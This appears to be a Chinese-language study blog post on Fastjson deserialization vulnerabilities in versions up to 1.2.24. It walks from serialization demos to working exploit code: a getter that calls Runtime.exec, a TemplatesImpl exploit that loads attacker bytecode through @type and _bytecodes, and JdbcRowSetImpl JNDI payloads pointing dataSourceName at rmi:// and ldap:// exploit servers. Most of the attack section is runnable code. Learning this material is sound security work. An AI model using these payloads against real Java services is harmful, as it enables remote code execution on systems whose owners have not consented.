前言
参考:
https://natro92.fun/posts/ac90d224/
https://boogipop.com/2023/03/02/FastJson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/
https://zer0peach.github.io/2023/09/24/FastJSON/
简介
Fastjson 是 Alibaba 开发的 Java 语言编写的高性能 JSON 库,用于将数据在 JSON 和 Java Object 之间互相转换。
提供两个主要接口来分别实现序列化和反序列化操作。
JSON.toJSONString
将 Java 对象转换为 json 对象,序列化的过程。
JSON.parseObject/JSON.parse
将 json 对象重新变回 Java 对象;反序列化的过程
所以可以简单的把 json 理解成是一个字符串
demo
依赖
<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
</dependencies>
序列化代码实现
定义一个 Student 类
package com.example;
public class Student {
private String name;
private int age;
public Student() {
System.out.println("构造函数");
}
public String getName() {
System.out.println("getName");
return name;
}
public void setName(String name) {
System.out.println("setName");
this.name = name;
}
public int getAge() {
System.out.println("getAge");
return age;
}
public void setAge(int age) {
System.out.println("setAge");
this.age = age;
}
}
然后写序列化的代码,调用 JSON.toJsonString()
来序列化 Student 类对象 :
package com.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;
public class StudentSerialize {
public static void main(String[] args) {
Student student = new Student();
student.setName("0w0");
student.setAge(16);
String jsonString = JSON.toJSONString(student, SerializerFeature.WriteClassName);
System.out.println(jsonString);
}
}
调试一下JSON.toJsonString()
序列化的逻辑
进到 JSON#toJSONString
,new 了一个 SerializeWriter
对象,至此序列化完成
注意到底下的 static 变量,是 members of JSON
其中的 DEFAULT_TYPE_KEY
为 "@type"
继续往下看,new SerializeWriter 后的对象赋给 out
这个 out 变量作为 JSONSerializer
类构造的参数
再往下就是 toString 返回序列化字符串了
那么核心就在 toJSONString 这里
String jsonString = JSON.toJSONString(student, SerializerFeature.WriteClassName);
观察第二个参数,SerializerFeature.WriteClassName
,是 JSON.toJSONString()
中的一个设置属性值,设置之后在序列化的时候会多写入一个@type
,即写上被序列化的类名,type 可以指定反序列化的类,并且调用其 getter
/setter
/is
方法
Fastjson 接受的 JSON 可以通过 @type 字段来指定该 JSON 应当还原成何种类型的对象,在反序列化的时候方便操作
(如果没有设置的话就没有 @type)
反序列化代码实现
通过调用JSON.parseObject()
实现反序列化
package com.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
public class StudentUnserialize {
public static void main(String[] args) {
String jsonString = "{\"@type\":\"com.example.Student\",\"age\":16,\"name\":\"0w0\"}";
Student student = JSON.parseObject(jsonString, Student.class, Feature.SupportNonPublicField);
System.out.println(student);
System.out.println(student.getClass().getName());
System.out.println(student.getName());
System.out.println(student.getAge());
}
}
漏洞原理
从前面的demo中我们可以看出,fastjson 在反序列化的时候会去找我们在 @type
中规定的类是哪个类,然后在反序列化的时候会自动调用这些 setter 与 getter 方法,但是调用的 setter 与 getter 方法是有条件的
满足条件的setter:
- 非静态函数
- 返回类型为void或当前类
- 参数个数为1个
满足条件的getter:
- 非静态方法
- 无参数
- 返回值类型继承自Collection或Map或AtomicBoolean或AtomicInteger或AtomicLong
那么,不同于之前Java原生的序列化和反序列化机制,Fastjson自己实现了一套序列化和反序列化机制
通过 Fastjson 反序列化漏洞,攻击者可以传入一个恶意构造的 JSON 内容,程序对其进行反序列化后得到恶意类并执行了恶意类中的恶意函数,进而导致代码执行
由前面demo知道,Fastjson使用parseObject()
/parse()
进行反序列化的时候可以指定类型。如果指定的类型太大,包含太多子类,就有利用空间了。例如,如果指定类型为Object或JSONObject,则可以反序列化出来任意类。例如代码写Object o = JSON.parseObject(poc,Object.class)
就可以反序列化出Object类或其任意子类,而 Object 又是任意类的父类,所以就可以反序列化出所有类。
而反序列化时会将反序列化得到的类的构造函数、getter
方法、setter
方法执行一遍,如果这三种方法中存在危险操作,则可能导致反序列化漏洞的存在,即要攻击的类中的这三种方法需要存在漏洞才能触发
在DefaultJSONParser.parseObject(Map object, Object fieldName)
中,JSON中以@type形式传入的类的时候,调用deserializer.deserialize()
处理该类,并去调用这个类的setter
和getter
方法:
public final Object parseObject(final Map object, Object fieldName) {
...
// JSON.DEFAULT_TYPE_KEY即@type
if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
...
ObjectDeserializer deserializer = config.getDeserializer(clazz);
return deserializer.deserialze(this, clazz, fieldName);
漏洞demo
对 student 类稍作修改,添加一个 getter 方法,里面有漏洞代码
package com.example;
import java.util.Properties;
public class Student {
private String name;
private int age;
private String address;
private Properties properties;
public Student() {
System.out.println("构造函数");
}
public String getName() {
System.out.println("getName");
return name;
}
public void setName(String name) {
System.out.println("setName");
this.name = name;
}
public int getAge() {
System.out.println("getAge");
return age;
}
// public void setAge(int age) {
// System.out.println("setAge");
// this.age = age;
// }
public String getAddress() {
System.out.println("getAddress");
return address;
}
public Properties getProperties() throws Exception{
System.out.println("getProperties");
Runtime.getRuntime().exec("calc");
return properties;
}
}
poc:
package com.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.Feature;
public class FastjsonEasyPoC {
public static void main(String[] args){
String jsonString ="{\"@type\":\"com.example.Student\",\"age\":16,\"name\":\"0w0\",\"address\":\"china\",\"properties\":{}}";
Object obj = JSON.parseObject(jsonString, Object.class);
// Student obj = JSON.parseObject(jsonString, Student.class, Feature.SupportNonPublicField);
System.out.println(obj);
System.out.println(obj.getClass().getName());
}
}
很明显,前面的 Demo 中反序列化的类是一个 Object 类,该类是任意类的父类,其子类 Student 存在 Fastjson 反序列化漏洞,当 @type 指向 Student 类是反序列化就会触发漏洞。
对于另一种反序列化指定类的情景,是该指定类本身就存在漏洞,比如我们将上述Demo中反序列化那行代码改成直接反序列化得到 Student 类而非 Object 类,这样就是另一个触发也是最直接的触发场景
Student obj = JSON.parseObject(jsonstring, Student.class, Feature.SupportNonPublicField);
FastJson<=1.2.24
1.2.22 <= Fastjson <= 1.2.24
依赖:
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>3.2.0</version>
</dependency>
<dependency>
<groupId>commons-io</groupId>
<artifactId>commons-io</artifactId>
<version>2.5</version>
</dependency>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
<dependency>
<groupId>commons-codec</groupId>
<artifactId>commons-codec</artifactId>
<version>1.13</version>
</dependency>
一条是基于 TemplatesImpl 的链子,另一条是基于 JdbcRowSetImpl 的链子
TemplatesImpl链
TemplatesImpl#getOutputProperties() ->
TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() ->
TemplatesImpl#defineTransletClasses() ->
TransletClassLoader#defineClass()
这里 getTransletInstance 就是一个 getter 方法,那么就满足了我们 fastjson 漏洞的利用条件
但是有一个问题,getTransletInstance 方法返回值是 Translet 类型,是一个抽象类,没有继承自 Collection 或 Map 或 AtomicBoolean 或 AtomicInteger 或 AtomicLong
此时就要向上找链子了,根据之前对字节码的学习可以知道在最前面还有个 getOutputProperties 方法
这里返回值类型是 Properties
Properties 继承自 Map 类型,那么满足了我们的需要
然后我们需要在 payload 里面给 _outputProperties 也赋个值
于是就能构造payload了:
{
"@type":\"" + NASTY_CLASS + "\",
"_bytecodes\":[\""+evilCode+"\"],
'_name':'0w0',
'_tfactory':{ },
"_outputProperties":{ }
}
exp:在反序列化的时候的参数需要加上 Object.class
与 Feature.SupportNonPublicField
,因为 getOutputProperties()
方法是私有的
package com.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.io.IOUtils;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
// TemplatesImpl 链子的 EXP
public class TemplatesImplPoc {
public static String readClass(String cls){
ByteArrayOutputStream bos = new ByteArrayOutputStream();
try {
IOUtils.copy(new FileInputStream(new File(cls)), bos);
} catch (IOException e) {
e.printStackTrace();
}
return Base64.encodeBase64String(bos.toByteArray());
}
public static void main(String args[]){
try {
ParserConfig config = new ParserConfig();
final String fileSeparator = System.getProperty("file.separator");
final String evilClassPath = "D:/Code/Java/Java unserialize/demo/src/main/java/com/example/TempClass.class";
String evilCode = readClass(evilClassPath);
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String text1 = "{\"@type\":\"" + NASTY_CLASS +
"\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'0w0','_tfactory':{ },\"_outputProperties\":{ },";
System.out.println(text1);
Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
//Object obj = JSON.parse(text1, Feature.SupportNonPublicField);
} catch (Exception e) {
e.printStackTrace();
}
}
}
JdbcRowSetImpl链(出网)
其实就是 JNDI 注入
基于 JdbcRowSetImpl 的利用链主要有两种利用方式,即 JNDI + RMI 和 JNDI + LDAP,都是属于基于 Bean Property 类型的 JNDI 的利用方式
JNDI+RMI
JDK 版本 8u161 < jdk < 8u191
JdbcRowSetImpl 类 JNDI 的部分在 connect 中
这里既然是 getDateSourceName,那么找 setDataSourceName
一看方法名就知道是设置数据库源,我们通过这个方式实现攻击
然后向上找调用 connect 方法的 setter 或 getter,优先找 setter,限制比较少
找到 setAutoCommit
,那么只要给 autoCommit 赋布尔值即可
payload:
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://localhost:1099/Exploit",
"autoCommit":true
}
exp:
package com.example;
import com.alibaba.fastjson.JSON;
// 基于 JdbcRowSetImpl 的利用链
public class JdbcRowSetImplExp {
public static void main(String[] args) {
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\", \"autoCommit\":true}";
JSON.parse(payload);
}
}
使用 yakit 生成一个测试反连
JNDI+LDAP
原理一致
exp:
package com.example;
import com.alibaba.fastjson.JSON;
public class JdbcRowSetImplLdapExp {
public static void main(String[] args) {
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1099/Exploit\", \"autoCommit\":true}";
JSON.parse(payload);
}
}
BCEL
toString链
西湖论剑2023[easy_api]
版本探测
https://mp.weixin.qq.com/s/jbkN86qq9JxkGNOhwv9nxA